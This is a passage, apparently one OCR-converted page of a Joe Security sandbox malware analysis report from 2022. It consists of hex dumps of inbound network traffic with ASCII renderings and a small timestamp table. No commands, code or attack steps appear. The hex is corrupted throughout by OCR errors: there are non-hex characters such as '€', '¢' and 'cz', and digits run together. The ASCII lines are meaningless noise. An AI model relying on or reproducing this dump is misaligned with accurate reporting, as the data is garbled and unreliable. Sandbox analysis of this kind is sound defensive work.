a6 b5 ¢3 13 3a b0 6e c4 b6 77 b6 d4 86 80 eb 24 2b 0a a9 a7 dd Oc 23 14 7b 16 cc 21 4b d1 98 31 ff 21 77 77 2a le 29

c6 f5 88 36 d8 e3 6¢ 9e d5 6f 4f 74 ed 40 fe 9c 80 cd 30 dO 63 3a 6b le 87 f1 64 fd 22 db 2d 4e 71 17 28 92 69 c3 Ob f4 33
36 22 35 b2 d0 3f 3a 02 b9 74 7a 42 b0 4f 82 4c 70 90 9e c5 41 f0 68 3c fc 2d 7c b5 f9 bb 01 19 8d 4b 28 al 1f 6b d6 e9
e8 f5 ca 66 a9 18 ed 6f d0 1f 4c 05 69 06 Of 1e 05 b5 2f 18 04 fb 4f 52 1c 6f b5 ec 3f cf 78 aa 4d 38 df 51 d7 09 e2 95 63 cz
ac 8f 4d d8 b8 13 bc 9f ac f9 95 f9 f5 5b cO b4 17 32 6e fe 43 20 51 5e b5 97 ed d8 67 9f 9f 13 01 11 07 40 5¢c 62 fd 99 62
42 30 28 13 fe 03 02 06 4d ad 4d 28 2b Ob aa

Data Ascii: wig3n\_WoJpctCsH|~bE:nw$+#{!K1ww*)6loOt@0c:kd"-Nq(i36"57?:tzBOLpAh<-|K(kfoLi/lOR0?xM8QcM[2nC

Q" g@\bbBO(MM(+

Data Raw: Oe bf 55 f4 42 2f 9d f3 05 53 ce 9e fa 60 7 02 f1 6a 5e c2 c9 54 e4 7e a2 fd 87 15 65 fe 9b 14 d4 2c c3 4e cl
b5 fc cb 33 62 20 1c 40 03 9c ac 5e 58 63 d2 2c 5 65 90 7b d8 34 d7 71 Oa bf 6b cf 36 11 4c d4 0f 53 b7 64 60 fd 67 4c
da bc 32 29 05 d7 4f cc 34 53 b2 0f b5 18 40 3c a7 2c 98 af ab ca d4 07 2b 40 79 96 87 38 f2 92 77 ed 75 29 b0 2c a6 e8
66 65 2a 9c 13 3c Oc 58 1f c8 68 85 3a a0 5a 1f fa d7 Oc cf a0 84 ba 55 f2 6a 80 8b c8 4b 7d 8d e8 d5 c5 ed 20 0f 74 80
3a af 68 d6 dd bf 5d 7a d2 c0 67 05 75 Ob 38 bb 00 52 70 3b 2b 05 41 08 55 f9 50 53 8¢ 41 68 72 12 73 Oe ea 2e 24 e0 10
40 42 48 bl cc 00 be 87 72 bb 3a 97 42 86 a0 74 10 44 b5 b6 1b ce 4c 8e 6e dc 4e 5d 16 24 49 79 de 21 5d 32 83 6f 77
a6 dd 6f 48 a4 40 5a 25 Oc 75 fc 92 a7 e7 bb 6a 35 c6 87

Data Ascii: UB/S'j*T~e,N3b @"Xc,e{4gk6LSd gL2)04S@<,+@y8wu),fe*<Xh:ZUjK} t:h]zgu8Rp;+AUPSAhrs.$@BHTr:
BtDLNN]$ly!]2owoH@Z%uj5
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Data

Data Raw: a5 25 26 a3 81 5a bb f1 09 95 e3 a3 66 46 19 80 4d c6 a9 c6 a3 5¢ fa 22 7d 8f 22 53 f1 c6 ae ff 7e 00 cd 41 72
56 87 8f d9 0f a3 b9 37 94 c3 43 a3 c4 cd 28 fe 72 09 3b a8 3a €3 15 71 74 bc 69 a8 dd d9 2b a9 ce 05 bb 39 51 5d ae 60
69 85 d4 a5 c5 ae €9 be 8d 06 f1 70 20 Ob d5 2f d1 b5 8f f2 e0 01 76 84 97 60 e5 el f2 1d e4 91 59 40 11 ee d1 19 ec 8e
ae 2f ¢8 80 4d 22 5a 3f 96 46 0a b7 b9 bb 9e a2 cf 73 55 84 42 b8 06 b9 e4 67 ce 20 72 6d d9 f2 85 cc a0 cd 00 7c b9 c6
30 6b 7d ef 92 ec 0d 70 1b fd 4d 3c 65 9e 5a ae aa 2d 9e 10 fa 9e 06 b5 ea ad ed Oc 7a 28 83 7d f4 2e ca c3 54 da 3b bd
ba 69 8b 66 da 4f d3 7d bf a0 06 al 3c c9 b4 58 b7 ae 4d d6 3a 77 38 73 9d bb 78 92 af aa c5 20 74 19 36 63 cd 5a 41 17
d0 4d fb 70 ab 61 bc a7 77 5f 24 70 75 3b 6e 5b b6 4d

Data Ascii: %&ZfFM\"}'S~ArV7C(r;:qti+9Q] ip /v'Y@/M"Z?FsUBg rm|0k}pM<eZ-z(}.T;ifO}<XM:w8sx t6cZAMpaw_$pu;n[M

Data Raw: 17 37 63 14 43 c0 db c4 c6 3e 4c 11 69 63 10 dc 56 3b 36 30 9f 20 73 0d 6f c5 fe c6 ae 50 94 18 90 b7 5b cf
45 ea b7 d3 20 8d 94 c0 d5 82 7b 1b 0a e7 df dd 22 a0 cb bf ed 3 7f 43 dc 1f 5d a3 74 97 3b af a8 62 f8 64 23 4f b0 c0 5b
85 44 df 74 41 d6 8c dc 36 fb 6b 84 10 f8 1c 1d ae 7 f9 47 d3 92 b1 78 45 53 fd 8e 34 c0 4a d3 f9 a5 23 a0 c6 f4 09 72 23
97 20 61 54 b2 16 12 99 0a d0 b3 2e 11 45 30 21 ff c4 7c a4 4e 7b bf 1b be dc 54 ac 70 3e d2 71 ed f8 5f 07 4d 1c f9 ad
80 ab c1 98 6a e6 Oe aa 93 7c d7 f7 29 4d 1f 9b b3 cb af a5 3e db el be ec 1e eb 41 8b 3c 2f 5d 61 44 8a ba c2 64 9b ee
a9 d4 e5 3d 64 ae de cb c0 70 81 40 b7 53 75 7b 00 dd 8a 91 ec 09 64 8e 28 d3 5f ec 31 1b 14 c6 d7 80 60 53 11 3b 85 3f
b5 f8 27 3f fb 04 7c 87 21 6d 44 36 23 0d 38 d9 a4

Data Ascii: 7cC>LicV;60 soP[E {"C]t;bd#O[DtA6KGXES4J#r# aT.EQ!|N{Tp>q_M,j|)M>A</JaDd=dp@Su{d(_1'S;?'?|'mD6#8

Data Raw: df 60 1d Oe 57 57 5a e7 d4 37 b1 b4 8a 51 ab fe 16 b0 c4 27 76 63 cc 88 4d b1 39 35 b5 56 ef 89 49 1d ab b2
4548 7e 33 5d 19 22 6b 10 d0 2c ad d4 Oe 7c 6a 09 c6 48 57 c8 87 d2 33 26 04 ba €9 ad 5d eb 55 3f 71 f6 dO 88 81 4f 65
56 fb fd €2 01 17 8¢ 9e ea f4 ed 16 a7 bf 2a 3f 61 05 2e 50 b8 67 2b 46 d6 d8 b7 19 d8 el b3 8d f2 1d el ac 07 16 9f al
5029 2d 42 dc 75 7c 54 0a a9 58 b7 b6 a3 c1 56 c¢8 8d 66 51 f2 b3 65 ab f3 b5 da 15 74 05 36 3f 1e 91 93 a0 79 fe bd bc
1968 c3 ec 74 dc 3d 03 c1 8a 95 88 20 35 28 39 d1 08 94 7 cd 53 24 42 2c 7c f1 69 al e9 7a 36 92 1f f5 98 85 a2 70 27
ad 5e 32 b9 65 96 fb dd e8 76 ee 68 a6 ee 5b dc b2 a6 7d 05 9b 4e 07 3c 5a a0 Ob 32 3¢ 02 5e b5 a2 b5 68 3d 01 7c cd
55 34 8d 84 fd 48 a8 51 11 79 35 c7 94 e8 9b cc fc 6a 6f e0

Data Ascii: "WWZ7Q'veM95VIEH~3]"k,[jHW3&]U?q0eV*?a.Pg+FP)-Bu|TXVfQet6?yht= 5(9S$B, |iz6p* 2evh[}N<Z2<
~h=|U4HQy5jo

Data Raw: 23 24 c2 cd 9a 61 7c 1a de 47 f0 85 28 af 21 dc 43 47 c0 1f 1a cb f0 99 21 68 57 f1 78 49 01 a2 9c e2 71 9e a8
2d 88 f8 6a 98 af f c5 cc ec 32 87 dc 7c a3 8c 2b 6a de 7a c8 73 94 3a al d2 4e 22 14 dc 1b al 43 ff ce fd 87 a4 {7 40 93
72 fd df 72 86 e5 ee 34 b0 4b 26 el c0 45 19 a5 01 e4 9c cf e0 16 55 8 20 4e 50 80 10 19 2a a8 €9 89 09 8¢ 5¢c 03 9a 92
ef cd cd 23 €9 14 8f 16 e6 60 3e a7 52 8e 30 f4 8f 20 1e 4d 62 a8 18 d2 fe 8f ea b6 28 f6 62 6b 24 42 65 d5 60 b4 1f 36 d8
42 8f d8 d3 7a 10 c2 57 f3 0b 1a 70 a8 e2 €9 ae 3c 75 d6 06 4e 9c 2f 25 83 0d 09 2a 1f fd b3 1c 56 fe 16 9a 2f 25 Oe 3f 03
c7 7d fafe fd 32 71 ea 94 a2 73 d8 eb €9 6¢ 26 7e 2a ee 07 24 eb d9 4c bb Oc ¢5 90 59 ec d6 a0 2b 67 6d 51 ac cd 7c 23
Oc fa 34 aa e5 f1 61 dc 89 el e3 7 84 76 9f

Data Ascii: #$a|G(ICG!hWxIg-j2|+jzs:N"C@rr4K&EU NP*\# >R0 Mb(bk$Be 6BzWp<uN/%*V/%?}2qs|&~*$LY+gmQ|#4av

Data Raw: 1f 49 72 d3 1d ef 6d a5 00 95 6b de 99 6a bc 88 e5 d7 5f 45 41 4e 94 7f 9f 98 3a 4b ca d5 ed 76 5e cO fd 55 be
d8 25 ee Oa fd df da Oc 25 17 7a 16 1d 09 7b d3 ce 32 ¢5 72 b7 5¢ 2f 1e bf ¢7 63 9d 51 d1 b5 6¢ 1d 87 a6 4f 16 cd d4 fe b0
82 3532 fd 7a de 38 5a 86 3e 64 f8 28 93 38 7b 72 14 29 cf 16 c0 Ob f4 32 f5 23 65 9b e4 3d 2c 03 c4 21 b1 56 bl 4f 14
4d 5d 84 45 ¢9 10 f0 23 69 a5 2c c0 99 6e bb bf 1b e5 48 6b 82 7b 3f d4 e8 b7 f4 c2 4d 43 0d 9b 6¢ el 1le 61 56 6a 06 4c
1f fO b4 e4 31 33 f9 5¢ 53 d7 3a 25 ¢7 3d cf a8 ab 92 2e 65 40 84 09 6e c0 08 c3 19 8e d8 d8 d8 16 e2 9c 60 f8 67 ad b4
5a ad b5 66 37 9e e6 32 23 6e 5f 18 c9 ec d8 67 9e 78 12 04 08 33 42 4c 63 bd cd a8 5b 37 28 85 ff cO 1f 50 67 f4 4d 7d
7f 7e ab 15 4f 2b 53 34 91 dc 8f c3 9e ad 60 28 f3

Data Ascii: Irmkj_EAN:Kv"U%%z{2r\/cQI052z8Z>d(8{r)2#e=,'VOM]E#i,nHk{?MClaVjL13\S:%=.e@n gZf72#n_gx3B
Lc[7(PgM}~O+S4°(

Data Raw: 92 85 b3 d1 28 92 fe ac bb 58 f6 8d e8 05 43 db 9b 1f b0 59 a8 dc ad 98 cc 7e 1e d6 4d Oc 2f Ob 8e 7d 5¢ 61 2f
50 70 59 2f 90 48 48 2e 23 14 2e ca 94 8b 9e 55 35 d5 85 10 ch 00 9¢ 90 5d 5e d7 fd e2 28 7c f7 68 8a b0 64 36 35 80 59
7 79 df 2a b2 95 69 ff 4c 2c 4a 05 80 bb 1c 26 9e a2 8e d5 9b 4e de 16 bc a8 el 0b 41 e cf 7c 50 0d 74 ca 8e c5 7d e9
5c 1c 3a 97 b6 8e ac 87 80 15 61 24 92 88 26 2f 80 €9 94 b1 01 80 54 68 56 ee f6 e0 18 9a d8 fd 19 1c 82 el 13 44 39 4c
a4 ef c3 3e 48 4e 45 49 98 66 f2 96 bf 27 45 36 45 1d 9f 35 al ab 38 24 d1 78 f5 05 ¢3 b0 35 4c ad c1 74 bb 22 f9 fb cd a6
74 8f 1b a6 d4 15 ce d1 d1 7d b8 dd 5c 62 47 5a 1f 4d 20 5b 7d 5e 24 eb e6 2b 7c 43 e6 ¢9 18 77 2d 0 bc 4b e3 12 b5 3f
76 c7 cl ab 36 84 66 6e 06 a3 33 19 fe 04 0Of 2a 5d

Data Ascii: (XCY~M/Na/PpY/HH.#.U5]*(|hd65Yy*iL,J&NA|Pt\:a$&/ ThVDIL>HNEIFEGES8$X5LE thbGZM [} $+|Cw-K?
v6fn3*]

Data Raw: 31 bd 1d ff cc 71 86 4b aa 43 1a 96 2e 7d a9 ff e8 7b 53 1b 9e 78 36 54 95 d9 83 7e el f2 16 c0 99 6a c2 fa c4
a7 ad e3 6e dd 82 17 b8 8¢ 10 3f 9d 1c f2 7c ba 60 88 ab 64 4e 48 b6 09 fe 6a b2 e0 fd ed ca a6 04 db 7d 50 be 71 cf 6e
ee 70 de bd 6e 97 d0 78 79 8c 6¢ 05 9d 85 8e 17 31 f4 0d 2b 31 e4 76 78 2a cf 88 25 6e el 28 5¢ de 5e 9b 26 cd ca 8c c5
d0 e2 87 Oe 5e 8e 03 ce 5e c4 eb Oe 6b 41 07 08 78 86 9d cf b8 a3 45 14 05 al 52 03 07 9f 02 ed 4c 23 b4 8d e9 4e a4 f4
57 ce 27 4c 0f 72 17 94 a4 d3 ab c1 12 06 46 49 9a 1c 41 28 4c a3 2c 8a 99 b7 7a 0a f9 2c ff 4c 41 1b 38 ee a2 ab 98 ab
516 1b a4 fb b7 7b 32 90 1a Ob cd 1a e7 84 ab 6e 42 d1 4e d1 66 88 3c 50 73 bc 46 64 12 67 21 c5 ac 3e 39 06 le 5d 3f
8d 3a 6b 09 e0 Ob 8d 6f 8e 31 7 56 63 fc ca 63 7f ed

Data Ascii: 1gKC.H{Sx6T~jn?| dNHj}Pgnpnxyl1+1vx*%n(\"& MKAXERL#NW'LIFIA(L,z,LA8{2nBNf<PsFdg!>9]?:ko1Vce

Data Raw: 76 78 1e 17 7d e0 e5 c4 71 bf 2d 08 a5 0d ca c6 ff d2 db 72 35 87 00 al b6 25 55 ba f8 fd b3 43 2f 73 5b 91 97
6d 4d 70 81 73 fa 70 1b bf ad 50 2f 17 3d 16 44 7a d3 a3 f8 de 71 bf d2 18 3e ce Oc 21 10 81 b3 fe b1 e6 8¢ 66 f9 13 b9 7e
6e e8 9c 2c 0a 4c f5 54 1e 73 2f 49 f4 59 ad 6e 4 61 c5 41 d5 dO 8b 5a 06 67 93 64 17 35 de 23 7b 2d 60 c3 c2 ab 74 f0
67 0d 92 48 08 d0 29 d2 d3 7f b8 0a 17 cf 00 50 b8 8c e8 92 39 12 14 40 b9 04 ee 52 ae 35 le 6a 6a le c3 c7 b9 78 54

8a 6¢ 1f dd 5f c2 80 5a cf 9d cf 81 70 a4 32 ea 6¢ 2d a6 04 b6 f3 c9 b2 b4 fe 59 €8 f0 99 f9 17 c8 83 04 86 dd ed 57 d3 87
1b 47 01 19 c2 b6 bd b9 09 fb 66 7e 19 7c 5e 27 42 03 a3 a9 60 05 55 5¢ d1 9b d8 6e 75 26 91 28 33 1f 64 cf 46 20 47 27
729 c9eb f1f5c9 05 28 95 ed 17 €0 6e 4b a9 9f

Data Ascii: vx}g-r5%UC/s[mMpspP/=Dzg>!f~n,LTs/IYnaAZgd5#{- tgH)P9@R5jjxTI_Zp2l-Y WGf~|"'B U\nu&(3dF G'r(nK

Data Raw: 02 d2 c2 06 08 55 dc b9 3e 34 6b ed 93 2e f5 39 d4 0b 50 c7 ¢5 87 5b bc 44 1c 02 e0 63 0f cf 50 03 3a 29 37
a4 99 70 b3 1d 2f 00 2f 15 64 42 1f 18 65 e5 fb ¢8 10 96 3c 3f 9d Oe da c6 el d2 93 50 3a 93 18 bl c4 12 20 95 fc e4 b2
4f 18 6b 5f 9d b0 62 61 75 9e 73 fa 6¢ 1f be ad 7e 3e 18 10 14 5e 5d d0 aa 94 8 60 ae da 03 35 ¢4 Oc 3c 11 ed 9e 8a 82
f3 af 57 e2 31 b9 4b 6¢ e8 9f 17 Oe 22 d6 5d Of 21 22 5b ea 52 af 78 91 33 e3 4e ce c2 80 3d 2e 6b 0 50 17 31 d5 4f 40
3e 7d d5 ca b5 62 95 23 3a 9b 5b 19 ¢7 1c de bf 59 ca 2c 19 d5 16 3f 99 9¢ 84 81 35 05 2a 7e ac 29 e5 73 a4 36 Oa 72 6a
le d4 dO a2 50 54 80 7d 3d d3 49 d3 bf 4b ae 9a cf f5 6a 8e 3a f3 66 5f 83 13 ad db fc ba ba f7 72 da €9 9d 8d 01 ad b3
3eac dl 557 9d 81 13 56 5e 1d c6 ac b8 aa Oe eb 6¢ 13

Data Ascii: U>4k.9P[DcP:)7p//dBe<?P: Ok_baus|~>"]'5<W1KI"'|""[Rx3N=.kP1O@>}b#:[Y,?5*~)s6rjPT}=IKj:f_r>WVAl
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kBytes

Timestamp transferred Direction
2022-05-27 11:26:33 UTC 195 IN
2022-05-27 11:26:33 UTC 196 IN
2022-05-27 11:26:33 UTC 197 IN
2022-05-27 11:26:33 UTC 198 IN
2022-05-27 11:26:33 UTC 200 IN
2022-05-27 11:26:33 UTC 201 IN
2022-05-27 11:26:33 UTC 202 IN
2022-05-27 11:26:33 UTC 204 IN
2022-05-27 11:26:33 UTC 205 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 3e 23 53 €9 72 71 05 15 0f c8 cb 76 Oe 69 3d 5f 4c 8a 6f 5f 39 {7 79 80 62 €9 54 d1 25 66 fe ba 61 58 8c 24 99
0a 82 a2 93 d1 3b a3 9d c2 8a 44 c0 a5 6 14 36 8c ef 2c 86 4c be fc ad 8b fd Oc 71 f5 4c 29 2e 1le db 18 28 5b Ob 7f 54
0a 20 b4 Oe 2d 6a 4a 05 2a ca ae 8e b8 7c 6b bc d5 38 7 10 9b 95 56 07 d7 fc cc 45 38 a5 2f aa a6 27 74 6f c3 7c c1 69
85 54 f2 de 43 a5 06 14 48 26 cc c5 5e 6¢ b2 ff d1 ed 8b 7a fd 5¢c 8b 9b 88 21 67 9e d9 44 23 3f 50 a7 e7 c0 Of cO 6a 75
35 b1 b6 b8 82 d2 af 3b 0f 27 d3 dc Oe 06 9b ca 9c d5 13 89 45 71 72 f1 f4 ae 3b 9f bd ff 71 7a 87 89 74 40 51 0Ob 87 {3 95
16 4c 3b 60 44 d1 69 fc f9 af 22 24 0f 4d 06 92 1c al 8d 12 24 7 52 f5 27 €9 b0 17 66 ad e0 53 cf 3a eb 9a f6 97 03 81 2b
c2 fe 36 bd da 93 3e b3 f2 2c 72 71 3f 31 6e 53

Data Ascii: >#Srqvi=_Lo_9ybT%faX$;D6,LqL).([T -jJ*|k8VES8/'to|iTCH&"z\!gD#?Pju5;' Eqr;qzt@QL; Di"$M$R'fS:+6>,rq?
1nS

Data Raw: 57 4d f1 al fc 6a 56 22 fd 3e 18 0a 56 e3 32 02 4f 53 62 f1 d0 e2 cb d3 c1 14 61 86 ed Oe bf 44 41 b9 b5 dc Ob
1f 54 8d 3d 8c dc 4d eb 2e bc 33 19 bd 4f 6e 99 91 cd 72 2a 2b b0 1d 1f Oe f3 f1 d9 19 ca a8 45 fe ae 07 c6 d4 b6 ac 94
a2 61 e0 ed 01 8b f8 1d 08 9d 32 c9 0f b5 7b e4 ba 6a 50 54 a7 3e cc 6a bc d5 8f c7 ¢6 a6 12 db 13 71 b0 1c 89 46 ad 45
c6cd5299846b79e27d02f2948217 10 fb 78 2350 a6 7e 19 69 c6 €9 61 67 84 19 6d 9a 79 81 47 8a d7 €9 f9 el a6
b2 15 7d el 3c d0 54 d1 e0 6d 56 57 2f 25 6d 86 90 aa ad bf 4e 17 01 ac 26 25 08 eb 00 83 1c 35 b5 fd c0 59 be 8d 74 ca
27 72 5¢ 53 07 f1 82 df ab c6 1f 76 7a 6d €8 35 4e 7b 68 b3 49 a7 95 b7 7c 0d 8d 11 c8 3f 47 Ob 6¢ e5 ab ce 93 c9 86 15
0d fb c9 a6 1le 2d b7 16 0f da 18 8e aa c2 5f 55 b4 63

Data Ascii: WMjV">V20SbaDAT=M.30nr*+Ea2{jPT>jqFERky}x#P~iagmyG}<TmVW/%mN&%5Ytr\Svzm5N{hl|?Gl-_Uc

Data Raw: bd 34 46 54 cd 91 2d c9 51 d2 16 35 9d e3 9a 59 cc 67 1e 67 a3 43 7b f9 74 6¢ 2c 2d 45 97 8a 04 81 1f 4a 48
38705274 22 1b 72 f4 89 c3 01 f8 2b Oc e8 06 de b3 f6 c7 93 75 2b 3 Ob b4 b6 30 52 bb f9 e4 de 64 0a Oa 68 85 df 48
52 14 a8 67 fa 64 0f d3 8f 40 5¢ 3a 04 77 4b 6f bf a4 89 9d 60 ab b3 08 2a 86 08 3e 74 8b a7 fe 91 f2 f8 70 f2 63 9f 4a 1c
€383 64 2e 50 91 7e 09 73 00 5a 9a 75 b3 Ob 93 56 d4 7d f8 d4 84 4f 6a 41 ff 45 19 30 b0 1b 7b 0f 6¢ e4 d9 c7 55 99 51
0d 9d 59 13 ¢7 16 €8 da 6a d9 3b 19 d5 1c 4d 97 81 89 87 5¢c 04 39 0d bb 1f 80 7b b3 51 28 63 7d 1e c0 c1 a4 7e 50 94
4d 37 d3 5f d2 9e 3f 8d 87 c4 94 5d 93 01 e2 68 49 a4 13 c2 ff c7 9a €9 d8 65 fO ed 88 96 37 c8 85 2d a9 d7 e4 62 ef 89
00 4b 65 3b d5 c2 a2 9¢ 52 dc 7b 6a 2f 61 5d 11 69 10 b8

Data Ascii: 4FT-Q5YggC{tl,-EJH8pRt"r+u+0RdhHRgd@\:wKo *>tpcJd.P~sZuV}OJAEO0{IUQYj;M\9{Q(c}~PM7_7?]hle7-
bKe;R{j/aji

Data Raw: 02 15 a6 el 1f 39 74 10 4d 50 89 2d 45 3c ea 78 9c 6d e2 16 f5 25 6¢ fc e4 49 65 be 35 8a 2f 9f b3 9f cc 5¢c e4
ad d8 a6 59 d0 b0 e7 1f 11 88 e8 4d b2 5d b8 ca 80 84 94 24 7a cc 4d 21 24 Oc bf 06 3d 5d 01 79 56 79 67 96 1f 09 5¢c 4a
01 2e dd bf bl b8 7a 68 a6 b9 3a c1 10 b6 ac 4a 0f a7 da d1 5¢ 21 al 2e cf b0 2b 76 67 c3 7f 84 53 9c 6e 4 c3 44 a6 04
7a7b 15 d9 e4 43 7f b9 fd d3 9e d8 48 fa 5b b9 80 8d 2a 73 9e cf 53 25 26 65 b8 a6 e7 18 d2 6e 51 34 b2 c3 80 88 f4 e3
la 14 2d bl ed 13 19 80 dd 97 b0 07 ec 76 4b 4b d1 e6 cc 32 92 c4 f2 78 17 a6 92 74 57 5c 6a a5 da f9 3d 68 52 46 49
a2 08 d3 9c b9 1a 56 2d 4f 17 82 07 c4 9a 7a 63 {7 4e bd 2e f2 c4 31 6a c9 5 53 c8 16 de 88 85 a2 1d 82 3c e7 c2 23 bc
db f1 08 a8 fa 2f 07 56 3f 0d 4e 54 48 4d 37 Oe d3 d3 0Od

Data Ascii: 9tMP-E<xm%lle5\YM]$zM!$=]yVyg\J.zh:J\!.+vgSnDz{CH[*sS%&enQ4-vKK2xtW\j=hRFIV-OzcN.1jS<#/V?
NTHM7

Data Raw: 10 ae 38 1f 14 6¢ c9 32 67 61 3c 5a fe c0 ed cb 94 d7 05 5¢ ad c9 0f d3 4c 53 8c 9f ee 0d 21 54 ba 2d 8d cd 4b
f2 2e a6 2d Oc bd 41 6e 95 9c de 21 37 2c c4 34 13 7a f0 db bc Oa a7 e4 77 f3 a6 23 cd c4 al bd b0 86 79 87 d1 0a 91 8
10 08 b3 34 cd 08 dd 76 e9 a9 60 71 58 a7 56 d2 Of 84 de bc cd ¢8 ¢3 30 ce 2e 7a bc 1la ec 7b ee 51 cb bd 41 82 d0 7e
7d f8 51 2c 8 8f 88 7f 21 95 6a 2b 24 bb 5c 7c 44 cf 81 51 09 f7 39 77 ¢5 73 8a 29 aa d1 9d bl e0 d6 b9 3f 47 fe 3f d5 52
d9 fa 6d 4c 54 0f 25 6d f2 ab ae 81 a5 6¢ 11 12 87 5e 2e 12 eb 35 8c 69 3d af be e0 53 a3 e8 45 ce 26 41 7b 30 23 {5 92
dd df ca 00 63 6d 7d fb 2f 4f 5¢c Ob a6 49 b6 a4 f3 7e Oe 98 3b f1 38 22 30 79 f9 b9 c5 9e 9b 90 03 Oc c8 e8 d5 08 3a 97 26
31 cc 13 fc a7 cc 49 4f a5 0d e5 03 ae 1c 3c 5f ba

Data Ascii: 812ga<Z\LS!T-K.-An!7,4zw#y4v'qXV0.z{QA~}Q,'j+$\|DQIwWs) ?G?RmLT%mI".5i=SE&A{0#cm}/O\I~;8"0
y:&110<_

Data Raw: c3 28 b5 34 54 b7 d0 81 44 b8 50 0f Ob ab 56 02 bd 63 09 1d 02 02 a4 93 60 8b Oe 39 74 2d 02 5b 78 2f 76 60
el fd fe 36 8d 21 18 a5 03 dd c7 f6 c5 d8 76 22 e3 2f ab d8 03 41 bd e2 e7 95 43 02 0a 69 b7 ad 75 53 60 a4 7b 8a 4d Oc
a7 8354 25 72 37 34 58 67 cf b2 bc f8 70 ae c1 03 22 cd 08 36 74 bf b3 99 9f fO 8¢ 40 f9 28 b9 41 1c el 88 64 Oc 5b 91
6b 02 00 33 4d f7 13 92 6e 97 46 d2 4b d5 c8 cb 7e 18 7b €3 54 17 25 c2 2e 64 24 7d 85 ec a2 65 b5 5b 0d 9d 58 08 dc
01 dc fe 69 cb 2c 15 c3 1f 46 d4 8e 8d 81 03 27 2f 69 aa 08 f3 6¢ 87 30 06 6f 63 67 93 f8 a3 77 45 90 6f 3e cb 3b f6 82 46
cfac c6 9a 4c 81 10 e8 79 54 c1 06 a7 d8 dO 8f b7 ef 76 €5 cd 94 80 17 c4 94 3a ac f9 e4 5f f2 94 0f 22 42 2c ¢2 a3 9b bd
2316 7b 76 3c 61 5d 30 75 62 a9 a9 14 1d 62 4d e2 97

Data Ascii: (ATDPVC 9t-[x/v'6!V"/ACIUS {MT%r74Xgp"6t@(Ad[k3MnFK~{T%.d$}e[Xi,F/il0ocgwE0>;FLyTv:_"B,#{v<a]Oubb
M

Data Raw: 7e 3f 31 e9 59 68 6b 8d 05 eb Ob 8e 56 95 58 14 1f 7f 00 1a ff d0 59 5e d6 d2 e8 3f fd ad ca a9 cf 35 a2 ca 9a
73 5d ed 9c 4a d7 29 4c 54 de e2 f9 68 1e 9f 27 40 41 7e b1 56 59 2c 42 13 3d 04 69 d4 7a 7d 09 a3 b2 4f 9e ca dO c4 16
0d d4 b7 40 aa 63 e9 8 36 6e d9 bl ad 2e 48 c5 5¢ dd 75 96 Oe 01 ae 15 dO bd 2b 1a 88 a9 2a cb 73 94 de 46 98 97 37
1b d5 94 b6 ef d9 01 91 29 8 eb f3 cf d5 96 8c 1d 51 4a 27 4a 10 99 7a a4 08 Oe db Ob b7 e2 f8 95 63 89 60 52 52 80 73
cb fc bl ea 55 95 ed 23 af 37 9f 9d a8 6¢ €5 3d 61 18 74 cb f4 66 85 e4 Oa d3 1a 9d 58 04 3b 3d 3d 51 €9 95 ea cd 42 31
53 ac 93 f0 66 20 el 7c 24 90 34 fb 5¢ 8f b5 50 Of ac 94 36 b8 45 bb f9 80 c4 74 3 4a a6 ab 50 c8 a0 13 94 c9 8d dc da
04 48 f8 07 32 bd 37 4b 7d 26 46 69 6e 80 ad d8 db f5 30

Data Ascii: ~?1YhkVXYA?5s]J)LTh'@A~VY,B=izZ}O@c6n.H\u+*sF7)QJ'Jzc’ RRsU#7|=atfX;==QB1Sf |$4\P6EtJIPH27K
J&Fin0

Data Raw: 41 47 20 52 26 12 ac 86 ba 94 a4 72 aa ff 84 63 ba 22 36 4f €3 92 70 f1 38 d6 4c f9 a8 2b 84 32 ef 41 7b cf 2d
14 ed fa a2 29 56 78 c5 76 6f Ob 96 9a cb 3e ad a9 16 82 90 12 eb c5 8a c5 7 el Ob 9f 87 74 e0 9e 35 6d 99 7a a8 6e 9d
3f 8f df 17 6e 35 d6 56 a0 6b €2 c1 ef a9 al a8 49 a8 08 08 d6 63 09 92 e7 3f b7 af a6 1f d8 1f 18 8d 1c e4 00 ee ea 17 54
9d 1f 7b 53 ¢4 10 01 2e a8 8 3d 03 8c 5b 06 94 31 el 49 df cc ef bl 8e b4 64 5b 31 86 54 b8 23 30 67 63 17 2c 6b 4b 1a
e3 7c Oe f5 df 22 78 67 c6 24 4f 6e €3 60 ed 1c 53 dc fa 89 32 d2 85 1b a7 56 2a 0d 3e 67 el €2 91 a9 8b 78 Oe 07 Ob 9b
54 2b 2d 2b c1 3e 40 de bl 1b 69 8 5f 1f 65 2d 7e 31 84 c8 b6 f8 cb ed 68 71 b6 1c 3c 69 2a €7 79 65 a7 7e 8a e6 aa 22
28 d5 05 b2 74 8c 5¢ 56 24 93 45 24 63 37 62 ab ac

Data Ascii: AG R&rc"60p8L+2A{-)Vxvo>t5mzn?n5VKIc?T{S.=[11d[1T#0gc, kK|"'xg$On S2V*>gxT+-+>@i_e-~1hqg<i*ye~"
(t\W$ES$Cc7b

Data Raw: 9¢ 30 cc 27 67 7a e5 3b 7d bd 06 6b 74 58 4d d8 da 04 d3 7d ca dd 49 62 64 11 51 71 11 8a 8b bd 6¢ e4 55
60 f5 60 a9 b3 91 b6 9d 02 db 22 6a e4 b4 75 32 a0 82 9c fe 24 79 18 5f e6 5f el 2f 13 eb Ob ff 28 7c ¢1 48 dc 41 77 7d
70 0a 1c b5 cc e9 1f b2 dO 93 6f 5a 94 ed a2 65 6f 6f fc f3 83 fa 38 8a 69 db 3f 1f 85 f3 76 eb €7 99 18 79 71 55 5c 8a 20
c4 1c f3 34 b5 30 21 6¢ e4 2f 1e 00 9d 2e 6a 2e a2 3b 01 5d 84 64 aa d5 65 7 36 79 7e cc 7d a7 1b be 9f 1b ba 5a 78 ac
73 3d d6 f9 fa 99 49 74 cb dO d9 7f f4 17 c6 54 76 03 08 19 9a bd d2 3b 30 f0 16 5¢ b5 3c aa €9 2d 4f 3f b7 fO 28 e0 4e 82
01 28 c1 60 df a9 88 de d8 9a 0a 8¢ 94 f9 d9 65 ac e5 2f cf b3 86 2f 98 fb 73 30 81 8f ba c7 €8 ¢5 62 97 0d 14 5d 1c 3a 46
2c 63 7 c6 6b 45 35 22 98 fb a7 9e e2 52 f8 45 78

Data Ascii: 0'gz;}ktXM}HbdQqIU™"ju2$y__/(|HAw}poZeoo8i?vyqU\ 40!I/.j.;]de6y~}Zxs=ItTv;0\<-O?(N( e//sOb]:F,ckE5"REXx

Page 41 of 47



kBytes

Direction Data
transferred

Timestamp

